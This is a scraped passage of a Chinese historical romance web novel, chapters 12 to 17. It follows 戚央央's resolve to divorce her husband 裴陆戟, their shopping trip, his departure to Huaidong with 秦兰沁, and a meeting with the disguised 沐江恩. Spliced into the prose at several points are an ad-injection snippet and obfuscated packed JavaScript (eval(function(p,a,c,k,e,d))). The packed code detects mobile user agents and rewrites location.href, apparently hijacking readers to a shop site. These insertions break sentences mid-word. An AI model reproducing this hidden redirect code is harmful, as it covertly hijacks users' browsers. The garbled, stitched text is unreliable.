过去的十年时间里,戚央央曾经无数次因为裴陆戟的一两句,似是而非的话自作多情,以为他是在乎自己,是有些喜欢自己的。 可是时间长了,她如今的心渐渐麻木,她轻勾动唇角,“明白了,以后不找她了。” 裴陆戟不确定她是否真明白,但她都如此说了,他又不能再说什么。 “那,我派人送你和兰沁回母亲那。” 荣臻院那边,赵氏和甄氏谈得很不愉快。 赵氏的一句“如果两人之间彼此有情真心相爱”,甄氏就回一句“真心相爱当年就该不离不弃”。 赵氏再回“时局所致,我们也是看太子的意思”,甄氏就回“婚姻大事从来就是看父母之命,太子殿下地位尊崇但也不是谁的父母”。 戚央央回来时见场面实在尴尬,没忍住插话了一句:“秦夫人,你看这样,秦姑娘毕竟也是世家之女,与人为妾实在是不好,要么你们再等上一等。” “其实,我同郎君的关系也并非牢不可破,何不等我们关系结束了,秦姑娘也好名正言顺再嫁?” 被她那么直言不讳地一说,赵氏还以为她是故意在阴阳他们,气得话都说不利索了:“世子夫人你这样说话就不对了啊...我们沁儿可没有要破坏你们夫妻的意思,还是说...你一大妇连一点容人之量也没有,夫君要纳个妾也不行...” “秦夫人,我不是这个意思,我是看七姑娘和我郎君确实情投合意,也是好心想撮合罢了。” 戚央央也没明白自己好好一番话怎么也能被曲解成这样呢。 谁想到赵氏更生气了,最后连大族的仪态都没顾上,拉着秦兰沁,像被羞辱了一番似的走了。 13. 第13章 甄氏心里酣畅淋漓,拉着戚央央的手夸道:“央央啊,你用的这招好!够辛辣的,亏他秦氏一族还是什么皇亲一族,世家大族,这仗势凌人逼迫元配和离,这罪名,看他们担不担!呸!” 戚央央皱眉。 看来,和离这件事,可能还要从长计议,找一个妥善的时机才行。 甄氏见央央心情不大好,裴陆戟前来问安的时候,她没忍住念叨了一句。 国公爷按了按她的手,甄氏想起下午国公同她详谈的那番话:既然戟儿十分抗拒被他们左右着他和央央的事,那么日后就该忍住不要插手,否则只会适得其反。 于是甄氏最后笑道:“没事,我就随口说说,央央好像也说想独自安静一下,你还是不用过去了。” 晚上,裴陆戟还是回正屋来了,恰巧戚央央当时在用膳,见他来了,很是惊讶,连忙搁下碗筷命人去增添碗筷和菜肴,道:“郎君,我不知道你要过来,还没用膳是吧?” “不必忙活,你吃就是了。”他自己找了个位置坐下,看她。 “那...你是已经用过膳了是吗?不必给你准备碗筷吗?” 先前戚央央哪里会这么问,她都是人不来她这里,她就硬让人提上菜肴搬去他那边用膳,非得把场子弄热闹、弄活络起来不可。 她总说,大过年的,就是该热热闹闹的才行,哪能自个儿在一边过啊。 可是今年,她这边毫无动静,他没说过来,她就连他的碗筷都没准备,从年初一到现在,他等了几天也不见她来,他这才憋不住过来的。 正当戚央央把如兰唤回来的时候,他突然开口道:“还是备一下吧,我再吃点。” “嗯,好。”她这个反应也淡淡的,没有欣喜,也没有抗拒。 用膳的过程中,两人都很安静,戚央央不再像往日一样主动叨叨地说个不停。 以前总觉得她这样烦人,但是现在安静下来,他反倒不适应了,心里犹豫了好久,终于还是忍不住问出口:“你...不是说喜欢热闹,不愿一个人待着吗?” 本来在专心吃菜的戚央央,突然听见他说话,筷子停了下来,“啊?哦...可是你不是说很烦我一直说话吗?” 她又继续去夹菜。 见她夹起一块平日总喜欢夹给他的芙蓉肉,他下意识把碗移过去。 谁知她直接夹进自己嘴巴。 裴陆戟一愣,戚央央意识过来后,连忙“啊”了一声,立刻又给他夹了一块,“你也想吃这个呀?” “因为...以往我夹给你时,你都好像很不高兴。” 他闷头扒饭,“可我每次都吃下你夹的,不是吗?” “是啊,你吃了...”说到这里,央央黯然道:“可你每次吃完不都跑出去抠喉咙吗?” “若是不喜欢,勉强自己有什么意思呢?” 裴陆戟停下筷著,“你开始后悔了是吗?” “但是...其实你并不想离开我,是不是?为什么要和离呢?” 戚央央又尝了一块芙蓉肉,没味,吐了可惜,可嚼又实在嚼不动。 “郎君知道,我其实已经没家了,要是和离,我可能国公府也不能待了,但是,我累了啊...真的觉得很累...” 十二年前,裴陆戟历尽险难带着敌军首领的首级从羌北逃回国,那时,派出监军的正好是六皇子,他在毫不知情的情况下助了六皇子立功,大家也都得知了潜入羌北活死人墓为质的人,本应是太子,可崔氏一族用裴家的公子把太子换了出来。 崔氏一族差点酿成大祸,被皇帝清算,裴陆戟的母亲虽然逃过一劫,但是余生都带着家族对自己的指责中度过。 她放火烧掉自己的时候,裴陆戟就被她绑在外面,亲眼目睹自己母亲被火活活烧死。 然后崔氏近乎疯魔地指着他责骂道:“该死的人是你!你为什么不死在羌北 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?你若是在羌北死了的话,我们崔家就是立了大功,太子殿下的地位也会稳如泰山,可你为何要帮那施氏之子?!” “你不要以为你是裴家嫡子,地位就尊贵了,我告诉你,要是没有我崔家了,你父亲立马就会把他的心上人娶回府,到时候他和那贱人生下儿子,太子落得什么下场,你日后也会落得什么下场!!” 他的生身母亲,竟然让他亲眼看着她被火烧死,然后对他立下如此狠毒的诅咒。 而在他母亲走了不到一年时间,英国公果然就把怀着身孕的甄氏给娶进门了。 甄氏的存在,是裴陆戟心头的一根毒刺,戚央央也是。 他没办法忘记母亲的死,也没办法接受戚央央。 “戚央央,你再给我一点时间好吗?”他感觉头越发疼痛起来,“再给我...一些时间。” 央央发现他脸色不对,连忙走过来摸他的额,冰凉冰凉的。 “郎君,你...你怎么了?不舒服了吗?”她帮他揉着额角,用手心搓热去温暖他的手,试图让他能舒服些。 她从来都是这样,心很软,总是见不得他难受,他一有犯病的迹象,她就好像比他还难受。 他伸手,顺势地将她纤细的腰身搂了过来,轻轻将头靠在她瘦削的肩头,紧闭上眼睛。 “现在...好些了。”他安静下来。 戚央央伸手虚拢住他,叹息了一声。 二人维持着这样相依的姿势不知过了多久,灯影幢幢,外头的婢仆静静守着,有夜风夹杂霜寒拍打糊上厚纸的窗户,让屋内短暂拥有一种温馨的假象。 央央知道这样的拥抱对于她而言,是致命的,尤其是在她和他的和离前夕,而他又和心上人重新有了缘分的可能之时。 但是为了能让她自己的心上人好过,她还是继续给他提供着这种十年如一日的对他而言十分廉价,而对她却是一次次承受失落的剜心之痛的温情。 14. 第14章 这天夜里,是裴陆戟主动要宿在正房的第二个晚上。 这夜他们什么也没做,就心思各异地相拥着,躺在同一张床上。 早上起来的时候,裴陆戟见戚央央未醒,看着她因紧闭眼睛而黏合着的长而卷的睫毛,试探性地用唇往前轻轻一碰。 却见那怀里的人更紧绷了。 裴陆戟又一次确认完,却依然不敢完全松懈,抱紧她,将头再次搁在她肩窝, 叹息:“你是喜欢我的,为何要难为自己?既然当年我答应了母亲娶你,自然会负责到底,和离一事,我便当你随口一说,不会当真。” 戚央央听到这里,装不住了,立马睁眼,道:“不,我已经下定决心了。” 裴陆戟盯着她良久,用手轻轻按在她心脏处,低道:“你自己问问自己的心,果真想离开这里吗?你姨母在这里,外边已经没有你的亲人了,你和离了又能去哪呢?” “要知道,这世道对女子很不友好,你一个女子在外没有依靠,即便是和离的,外边的人也会拿话说你,你的为人,我也很了解,你必不会再接受旁的男子,无法再成家,难道让我看着你孤苦一个人?” 听到这里,戚央央顿住。 是啊,她知道自己这人确实太轴,认定了一个人,就再也不会变,裴陆戟太了解她,加之十年的相处,他也做不出太违背良心的事,但是,他仅仅是为了不让自己良心不安罢了,跟感情没什么关系。 过去的自己就因为太傻,总是误把这些事当成是希望,才饮鸩止渴般不断地追着他奔跑。 如今她想明白了,知道有些事一旦过了界限是注定会不幸的。 “没事,人嘛,总要成长的,说不定我有朝一日能找到更心仪的男子,就不会再陷入对你的感情里了。放心,我定不会痛苦太久的。” 她笑着,轻轻把他推开。 裴陆戟明明是看得出她在逞强,但当她说出这番话,他还是没由来慌了慌。 他把拳心攥握了几下,终于还是松开,“不会,你不会找到的。” 戚央央等他走后,背转过身凄凉一笑。 怪谁呢?好像只能怪自己心太小,小得进去一人后就再难出得来的事,闹得全天下都知晓。 可她不要心上人的怜悯,又不想留下看着他与旁人恩爱,想要远远地避开也成了难题了。 · 裴陆戟让暗卫残影偷偷下去查探当年的事情。 戚央央口中所说的“救命之恩”,想来并不是指国公府收养她的事,其实她刚来国公府时,对他的态度就有些奇怪。 那时候的她应该还说不上对他有多喜欢,但却事事以他为先,拼命地想要待他好,不想是讨好心上人,倒像是...报答。 这么个念头一旦滋生,裴陆戟就感觉自己被拽入了一个无穷无尽的漩涡里,被搅得坐卧不宁,不得不去找出答案。 她来国公府以前,他确实不曾见过她,若说有牵绊的话,大概就是残影调查得到的,她七岁那年,也曾到过羌北。 · 近日,裴陆戟回府的时间一天比一天早了,有时甚至还未散值就带上未处理完的公务赶回来,为的就是能在府里和她一同用膳。 倒是戚央央,最近看着态度大变、颇是反常的裴陆戟,心中一直犯愁。 暂不说他待在这会乱她心神,妨碍她日常做事,就说他这一日日有事没事地回府,会极大地扰乱她出行的计划,导致她至今仍然没法将太皇太后送的那块青金玉拿去觅工匠雕琢。 “少夫人,奴婢看世子最近很是在意你,看来少夫人你这招和离用得极妙,世子他现在肯定知道珍惜了,过些时日少夫人再给世子说说,打消他纳妾的念头,想来可以。” “如兰,”央央坐在屋里整理着账目,抽空抬眼看她,“我那是真的想要和离,账目之事繁琐,秦大姑娘身边虽有得力老仆帮着,但刚接手肯定是不熟的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13980971|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我现在把这些都整理了,以后我离府时,你就帮我交给她。” “你是府里的人,以后若想继续留下,我会拜托母亲给你安排,不想留下我也给你准备好一份丰厚的嫁妆,我会让母亲帮忙物色个好人家把你嫁了的。” 当如兰看见她手里整理的是什么册目时,顿时傻了,“少夫人!你...世子眼下看着有回头的迹象,你都等了这么多年了,何不...” “如兰,你记得去年我生辰那天,郎君提早回府给我庆生,还送了我生辰礼吗?” 央央搁下笔,哀哀地忆道:“那天我乐坏了,那只是一把很寻常的木梳,可我就抱着睡了一晚上,第二天我发现梳子被压坏了还哭了好久,跑出去找专门修名贵木料的人,修的人跟我说,修梳子的钱够买十几把这样成色的木梳,我也不在意,因为是他送给我的,可是...” “后面我发现,生辰礼是父亲要求他送的,梳子是他趁我睡着掰断的,原来第二天他衙门里的上峰要来府里探视,他不欲我碍眼人前,特意想了这法子将我支开。” “还有前年,他成亲几年来第一次碰我,那天虽然我身体上很疼很疼,但我是快乐的,是高兴的,可他事后却看也不想再看我一眼,只想把那棉被往我身上盖得严严的,说见着我的身体就恶心,让我以后与他同`房时不要再脱`衣裳。” “还有大前年,他头一回对我笑,却原来只是因为看着我在黑夜里抓萤虫被磕得满头包,觉得我傻,才笑。大大前年,他第一次夸我好看,是为了让我日后衣服穿素些,再也别打扮得花枝招展跑出来丢了他的脸...” “每次我感觉我们俩的感情终于看到些希望,有些眉目时,很快就会打回原形。” “我现在,最不可能相信的事,就是他能喜欢上我。” “因为不可能,因为我已经不信了。” “所以,我还有什么办法,说服自己继续做那些,根本无法打动他的事?” 15. 第15章 “可是,难道少夫人你真的打算离开国公府吗?”如兰急了,“少夫人你十岁开始,国公府就是你的家了,你离开的话,能去哪里呢?再说了,若是换一个人,奴婢自然不会多说,但那个人是少夫人你,少夫人是真的能那么轻易说不喜欢世子就不喜欢了吗?” 戚央央失笑,是呀,所有人都知道,让她放弃喜欢裴陆戟,是一件天大的难事,连她自己都不相信自己能忘记。 所以,裴陆戟一听到她说要和离,会那么自信、那么断定地同她说,她不会找到比他更让她心仪的男子,她离开他会后悔、会痛苦的。 诚然,她也想象了一下,往后再也见不到他的日子里,她可能只能夜夜在梦中想起从尸堆里攥着她走的那双手,想起他在死囚奋起作乱之际,拼了命将她举托起来,让她朝着光处走别回头的样子,想起清辉廊庑下,与少年重逢再遇,他眼里的光芒早已落尽,成了那副阴郁凉薄,截然不同的样子。 她再也不能在他走不了夜路的时候,前来送一捧萤光,再也不能换着法子哄他喝药,再也不能时刻关注他的一悲一喜、一举一动了。 说实话,还真是...很不习惯呢。 可内心的那团酸涩,很快被一股无力的挫败感击退。 这些年,各种办法都尝试过了,她发现自己原来不是对他没有奢求的,倘若知道自己不管怎么做,他都不会喜欢上自己,原来,她也是会累的... 日后他有心爱之人的陪伴,定然不再需要她了,秦兰沁看着像是真心回头了,日后她慢慢将药方以及各类注意事项交接与她就好,她不需要再操心这些,至于如兰提到的第一个问题,那确实是她要好好去想的。 十年来,国公府是她的家,一旦和离后,家没了,不得不离开的话,她得给自己找个可栖身之地,和可以慰藉下半辈子的事情去做。 她思来想去,又去盘算了一下戚家所剩的财产、田租铺子,打算差人去江南远离京城的地方先物色一块山清水秀的地修个院子。 · 淮东堤坝修筑的事最近被太子揽了下来,裴陆戟又开始忙碌了,没有时间天天待府里。 正月的最后一天,他就要启程随太子下淮东了。 临走前一天,他特意向大理寺请了假,拉着她上街。 这好像是他第一次带着她在街上走,戚央央没觉得有多欣喜,只是很狐疑。 “往常郎君出外办事,都不喜欢我帮忙张罗准备的,一般都是让修竹来张罗,今日怎么...会带我出来购置东西呢?” 看着他带她出来选的都是一些出行需带的物品,干粮、药品和水囊之类的,她不禁问道。 裴陆戟想起早上他从衙门回来,在垂花门处碰到甄氏,甄氏看着他藏在袖内不慎露出的一点油亮黄灿,高兴地一合掌笑道:“小雏菊是要送给央央的吧?戟儿终于开窍了,太好了!那样母亲也就放心了。” “对了,听管家说你今日向衙门请假,你以前即使身体不舒服也从未请过假的,明日你就要随太子殿下去淮东了,今日为何...” 甄氏突然眼神一亮,“难道,你是特地请假回来带央央去准备,明日要带上她一同前往吗?太好了,太好了!母亲这就帮你叫央央出...” 面对甄氏的突然高声喧嚣,裴陆戟恼羞地一把将袖里的东西揉捏成团,并咬牙道:“要让母亲失望了!并不是!” 他转身想走掉,见甄氏定定地站在前往鹿鸣苑的岔道上不动,他估量着时间可能不大够,只好又折返回来,“劳烦母亲让一让,我想请戚氏帮忙选些东西!” 忆及此处,他轻咳了几声,皱眉道:“想找你帮忙选一选,兰沁不方便出来,你和她同是女子,想来喜欢相差不大。” “你随你喜好的来选就好。” 戚央央豁然,原来是想买东西给秦兰沁,但现下二人尚未正式议亲,不方便走在一起,便找她帮忙选了。 她苦笑,裴陆戟不知道,她以往为了迎合他喜好,才会特意让自己伪装成秦兰沁那样,大家闺秀,喜好高雅,但倘若真随她真实的喜好去选,那就并不见得能合秦兰沁的意。 不过,戚央央是真心想他与秦兰沁获得幸福的,自然会细细地帮他挑选一番。 裴陆戟带她来到一家叫珍宝阁的银楼,一眼就相中了架子前一根金丝皇菊流苏金簪,让掌柜取下来给他。 戚央央凑过去一看,眼神都变亮了。 “公子好眼光,这是用足足一两的纯金制作的金丝皇菊,绝不是鎏金,是我们店里最精的精品了。” 掌柜又叹道,“可这么富丽的簪子啊,又很容易压倒人的风采,寻常相貌的姑娘都不敢轻易簪。” “不过,我看公子的这位夫人似乎能驾驭得了这根簪子。” 金灿灿的金丝皇菊,式样富丽妖娆,闪闪亮亮,她喜欢得紧,但是,京中贵女大多如秦兰沁一样的喜好,向来是不喜如此张扬靡丽的首饰的,她克制着自己垂下眼,摇了摇头, “不,这簪子太艳丽了,秦姑娘她不会喜欢的。” 说完,她指了指对面柜子里那根成色非常不错的翡翠白兰,“那款看着还不错。” 裴陆戟看着她的表情良久,便让掌柜的将金丝皇菊流苏金簪包了,“那就这根了。” 戚央央一愣,“郎君,这...” 裴陆戟拿起包好的首饰匣就走。 “接下来去买几身衣裳吧。” 她傻傻地跟在他身后,看着他一人拿着七八个包裹,刚刚出来时他并没让修竹他们跟着,一路买下的东西都他自己提着。 愣神间,她被个挑夫撞了一下,差点没稳住,摔倒之际,前面的人突然转身拉住了她的手,扶稳她。 “怎么连路都不会走。” 他语气不算好,但声音听着低柔,让人产生一种疼惜的感觉,让她错愕了一下。 之后他就一直拉着她的手,走在熙熙攘攘的人堆中。 路过花钿小摊的时候,他甚至会主动选些花钿样式往她额间比着。 路上人来人往,花钿的样式形态各样,喧闹的街头,充沛的人间烟火气息,很容易让人误入其道。 但戚央央还牢牢记得,今日自己只是来替人当模子的。 拉着她走进京城那家卖成衣最出名的彩云阁,这家店的衣裳款式新颖好看,料子好,什么尺寸的衣裳都有,比裁缝量身定做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13980972|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的还好看,不乏京中贵女来光顾。 央央牢记今日的要务,吸收了刚刚在珍宝阁的教训,目光半点不往那些颜色艳丽的衣裳上看,就专注去看一切秦兰沁有可能会喜欢的衣裳。 “这件竹月色的不错,秦姑娘会喜欢的。” 裴陆戟接过衣裳往她身上比划了几下,“你喜欢吗?” 戚央央觉得,他大概是认为姑娘家的喜好大都相差不大,所以才会征询她喜恶。 “嗯,不错的,很称秦姑娘的气质,她穿起来一定很好看。” 可他还是皱起了眉,拿过方才看过的杏黄色烟罗裙,往她身上一比,“那你觉得这件如何?” 她迅速就被这件剪裁优美的软烟罗裙吸引了目光,巴巴地盯着挪不动眼睛。 可是...如此明丽张扬的色调,怕是秦兰沁最不可能穿的吧,在她的印象中,秦兰沁一直是仙气脱俗的才女,才不会穿得这样俗艳。 “怕是...不妥...” 她话刚落,杏黄裙子就被塞进她怀里。 裴陆戟催促道:“进去换来看看。” 央央无法,只好照办。 换好新衣出来的那刻,铺里好几个伙计都看愣神了。 “夫人这...穿得也太好看了!”在这家成衣铺工作多年的掌柜看了,也不由发出惊叹,“这人穿衣,衣穿人果真是不一样的啊!” “这件软银杏花烟罗裙是我们店里的镇店之宝啊,可是那么多人看过、试穿过,都会被它压一头,以致喜欢它的人很多,却压根没人穿得来。” “夫人是我见过的,能把这么艳丽的衣裳穿得如此好看的人了!” 央央第一次听人这么夸她,耳朵有些发烫。 裴陆戟随即撂下银子,“就要这件吧。” 她衣裳还没换过来就被他拉着走,一时之间人有些懵,“郎君,这...这不合适啊...” 他头也没回,“没听见掌柜说很好看吗?” 她知道,但是...但是... 央央搓着发烫的掌心,要她怎么跟他说,衣裳穿在她身上合适,但不一定穿在秦姑娘身上也合适? 要是这么说的话,他大概会觉得她在贬低他心爱的秦姑娘,说她穿得不如她好看吧? 可她要怎么跟一个对这方面一窍不通的男人说,压不住这件衣裳的女子,不代表她不好看,说不定只是气质不符,就像她硬要学着秦兰沁穿素色衣,也显得她东施效颦般可笑。 正当她绞尽脑汁想着该怎么跟他解释才不会引起误会,裴陆戟突然在门口处停了下来。 他把手里提着的包裹放下,腾出手将刚才在珍宝阁挑好的金簪,簪到她发间。 看着眼前摇晃的金光,央央吓得一愣。 不习惯被她这样的目光注视着,裴陆戟很快将目光别到了旁处,清咳了声凛然道:“你心里明白就行,明日,收拾好今日买的这些东西,去南城门找我吧。” 说完这话,他没等央央反应,就自个走掉了。 戚央央错愕了一下,差些没在阶梯上站稳,等她站稳了要去追人时,发现他人影都不见了。 心里明白?明白什么呀... 16. 第16章 正当她满肚子疑惑之时,秦兰沁突然上前拦住她。 她是突然从人群里走出来的,像是一早就在附近守着似的。 “世子夫人,有劳你了。”秦兰沁双手交叠腹前,盈盈行礼,“我和世子关系还没定,不好公然相携逛街,辛苦夫人了。” 枝头早杏的风梭过闹市,撩起她鬓前的几绺青丝,她的言行举止看来总是那么优雅娴淑,即便处身人群中也能一眼让人看见。 从前,戚央央是最在意的,但是现在,因为没给自己任何期待,反倒是从容洒脱了。 她笑着将头上金簪取下,交到她手里道:“郎君第一次送姑娘家这种东西,若是有不称意的话,有劳秦姑娘多包涵,他这人看着英明,可对姑娘家的事却是一窍不通的。” 秦兰沁把那根金丝皇菊流苏簪握在手里,心里五味杂陈。 “哦,对了,这衣裳...”戚央央低头看了看自己这一身,“回去我换下来再给你送去吧。” 说完,她像没事人一样离去。 可秦兰沁身子却像那随风摆动的叶子,晃了又晃。 戚央央穿着明亮色彩的衣裳独自回府的路上,心头也好像一点点被打开了似的。 杏黄色的衣裳,黄灿灿的金簪,鲜艳欲滴的花钿,原来,割舍了一样很喜欢却没法争取的东西,能换来如此多的喜爱之情。 不再执着于一个人之后,她可以彻底做回自己,哪怕这簪这衣裳是给秦姑娘的,她也可以以后自己给自己买啊。 不用再穿素色衣裳,不用再东施效颦般模仿白玉兰,大大方方做回自己的野雏菊,便是艳俗又如何,廉价又如何? 嘴角上扬,路越走越轻盈,越走越快,一不小心就撞了路上一个衣衫褴褛的叫花子。 “对不起,对不起,我没把你撞伤吧?” 近来北境那边打仗,流民乞丐无数,城外的养济院已经容纳不下,城里只好悄悄开启城门,让部分流民进来栖身。 戚央央扶起乞丐,见他无大碍,怀里摸出一锭银子塞给他,然后离开。 那叫花子一直定定地望着她,直到她的身影消失在人海中。 回府后,戚央央把一身杏黄脱下,命人洗了架上火炉快速烘干,熏好香才给秦府送去。 随后她趁着闲暇,便开始细细阅读先前差人去江南物色土地寄来的信。 广陵城四季分明,河流密布,小桥流水,是一座适合文人雅客去的充满诗情画意的小城,而柳州则美食很多,街头小巷烟火气息温馨浓重,适合旧居,金陵是旧时国都,富庶,在此处适合经商、贸易。 最后她在毗邻金陵,又与柳州相隔的一座山水较好的小城镇打了个勾,嘱人寄回。 明日起,裴陆戟便将好长一段时间不在京城,她可以全身心投入计划日后那一段和离后的单身生活了。 · 因为第二天一早便要启程下淮东,衙门有大把的公务要先安排,所以裴陆戟带戚央央去逛完买完东西,便必须赶回衙门,忙至早上才直接从衙门出发直奔南城门。 早上,他几乎是星夜兼程地从衙门来到南城门,启程的队伍已经来了。 昨日他已经同戚氏暗示得够明白了,她应该知道这次自己是想趁机会带她离开国公府,到淮东的路上好好培养感情的。 与秦家联姻的事情实乃权宜之计,他这次是无论如何推脱不掉的。 戚央央对自己有多死心塌地,他是知道的,但近日他时常没由来地担心一些事情,导致他不得不多关注她一些。 就像上次,他故意来同她同塌而眠,扰乱她思绪,故意同她说那番话,一遍又一遍告诉她,她是喜欢他的,永不可能喜欢上他以外的男子,不过是想帮她加深印象,给她制造错觉,让她离不开自己罢了。 戚央央喜欢裴陆戟,只能是一生一世的事。 这是府里上下的共识,也是他的意识。 他是不会允许,他已然认定的生活中出现哪怕一丝一毫的意外。 “裴大人,时间到了,要出发了。”随行的护军统领催促道。 裴陆戟眉头紧拧,“再等会。” “哟,裴大人等谁呢?等你家中那朵小雏菊吗?” 声音从后方传来,是张白石那张嬉笑的脸, “怎么,以往那朵小雏菊都是任由裴大人呼之则来挥之则去,乖巧得紧的,怎么也会有不听话的时候了?” “不对啊,那朵小雏菊平常粘人得紧,你头回出去工作也带上她,我以为她定会欣喜得晚上不睡,昨夜就守在城门等你了,怎么,你是凶了人家,人家现在不愿搭理你了?” 裴陆戟懒理他,要不是淮东那边有案子需要他去采集证据,他这趟才不会带上这人。 “去府里把少夫人接来。”他找了个人替他去跑一趟。 而他刚下命令,秦府的人就来了。 秦兰沁在秦府的侍卫身后徐徐步出,紧接着,前方太子的命令下来。 “世子,此趟下淮东,有更重要的事,带上世子夫人的话,恐怕只会让她更尴尬,希望世子明白。” 秦兰沁徐徐施礼。 太子临时有令,淮东一行他要护送秦兰沁之余,还得顺道带她去毗邻的江州去,和她站到一起去,好让江州那边的秦家人放心。 如此一来,确实不适合带上戚央央。 裴陆戟的眉头紧了又紧,终于还是将叫出去的人回来,“不必接少夫人了。” “告诉少夫人,这段时日好好待府里,等我回。” 他用人前优雅有礼的那一面,替秦兰沁掀开车帘,请她上车,随后替她裹好车帘,驾马在前方引路。 张白石看得眼睛都差点瞪出来,这裴少仲啊裴少仲,榆木脑壳不开窍,日后怕是总有你后悔的一日。 裴陆戟高坐马头上,手执马鞭,一袭绯色官袍穿得俊逸又打眼,眺望远方的云和山,心中暗暗宽慰自己:不打紧的,待他一回来,马上同她解释...她那样喜欢、那样在意自己,定很快原谅的。 更何况,今日明明是她迟到在先,本就不能全怪他。 · 话说戚央央这边,压根从不觉晓裴陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993107|148121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戟带她逛个街,把她当衣架子给秦兰沁试衣裳、当首饰架试簪子,再听他说一些奇奇怪怪的话,就等于是邀她一同下淮东了。 是,他最后是有让她打包好买的东西第二天一早去南城门找他,但她误以为他是想悄悄带着秦姑娘去,拿她当幌子,所以她识趣地早早就将东西打包好,连同那件杏黄色衣裙送过去给秦兰沁了。 所以,隔天当她在街上碰巧遇上秦兰沁的一位婢女,婢女“失口”告诉她,她家姑娘昨日启程去淮东的事后,她一副“果真如此”的豁达模样笑道:“前两天我就猜到了,这二人如今是一头半月都离不开彼此了是吧。” 听她这话说的,半点也没有吃味的意思,还旁观者似的在打趣,婢女半点没有耀武扬威过的畅快,反倒很是郁闷地离开。 这世子夫人好像...也没有传闻中那么对世子爱得如痴如狂嘛,世上总是好东西、好男人才会让人争破头,世子夫人的这副态度难道... 难道世子的癫病没有治好,所以有人来强占她男人,她反倒这副如释重负的反应吗?? 婢女越想越心惊。 那...那该如何是好?倘若真是这样...啊,她家姑娘怎地如此命苦啊? 戚央央是因为早早给自己做好心理准备,所以当她知道二人走在一起,一点也不惊恼,能从容面对。 但一个她放在心尖上喜欢了足足十年的人,又哪能说半点失落也没有? “他们两终于如愿在一起了...在一起了...”戚央央等秦府的婢女走远,旋身疾步走到闹市的角落,缩在巷子里,肩膀一耸一耸地开始抖动起来。 “谁和谁在一起了?你在哭什么?” “我的裴哥哥...”她抽噎着,眼泪流个不停,“当年他把活命的机会让给我...那么好的裴哥哥...他、他终于能和他最心爱的人在一起,再也不用忍受寂寞和痛苦了...” “有情人终成眷属,那你难过什么呀?” “我...呜呜...我要和心爱的人和离了我...还不能难过吗?” 央央哭着哭着觉得不对,抹干眼泪定睛一看,发现角落里蹲着一个蓬头垢面的叫花子。 叫花子朝她龇牙一笑,露出右边一颗兽类般尖锐的虎牙。 “你是...那天大街上被我撞过的...” 叫花子见她认得自己,高兴地一把抹掉脸上的泥垢,冲她面前来,“那...除此以外,你还想起来什么没?你仔细看看我...” 戚央央被他这略显冒犯的举止吓得后退一步,如兰去帮她取东西了,这条巷子偏僻得很,她就算大声喊也未必有人来救她,她只能假装被他吓得摔倒,然后从地上捡起一块尖锐的石头,背在身后, “你...你别过来!” 叫花子见她摔倒,想上前扶人,见她惊怕的表情便知她误会了,又为她没想起自己而失落不已,不过转念一想自己现下的处境,似乎也不大方便与她相认,便只好罢了。 “戚姑娘,你别急...我...我是你爹娘旧时故友之子啊。” 17. 第17章 见她不信,他赶紧又道:“你幼时调皮,拿你兄长最心爱的突火枪泡水里,可你兄长只生怕火枪走火伤你,才责备了你一顿,然后那火枪就交由军中一沐姓军户家中,让他代为修理,是吗?” 这件事,戚央央好像有印象。 那时她不过四、五岁,是家中幺女,爹娘和兄长们都很宠爱她,她自幼性子古灵精怪又对未知的东西充满好奇,一次趁兄长们没留意,悄悄顺了大兄的突火枪来研究,泡在水里看会怎么样。 结果把枪弄坏了,兄长们气急,第一次把她骂哭,却只是因为后怕,生怕她傻乎乎地伤了自己。 那一次,她以为自己把枪弄坏兄长们不会原谅自己了,就躲起来自个偷偷哭,是爹爹最后找到自己,安慰自己说已经把突火枪拿去让沐叔叔修理好了,她才敢跟爹爹回去。 她回去那天,娘亲做了她最喜欢吃的野猪鲊,那是用野猪肉切块,加入调料腌制,再进行发酵而成,闻起来奇臭无比,可只要一尝,肉香浓郁立马在齿颊溢开。 她如今,已经多少年没尝过娘亲做的野猪鲊,国公府是勋贵门户,嫁给裴陆戟后,她就更不能吃这些味道太重的食物了。 年幼那段时间,有父母兄长的相伴,乡野间的美味,肆意玩闹闯祸的日子一去不复返了。 爹娘和兄长不在后,连姨母都不敢同她提起这些往事,生怕会让她难过,她已经许久不曾听见有人同她提及这些了。 一股酸涩从鼻腔涌出,“你...是沐叔叔的...儿子?” 见她终于想起他是谁,沐江恩喜笑颜开,“你想起我了?” 戚央央随即摇头:“是你提起沐叔叔,我猜的。我并不曾记得小时候我们有见过,许是过去太久,我忘了吧。” 沐江恩的脸垮了一下,很快又重新扬起,“没关系,你现在知道我不是坏人就行。” 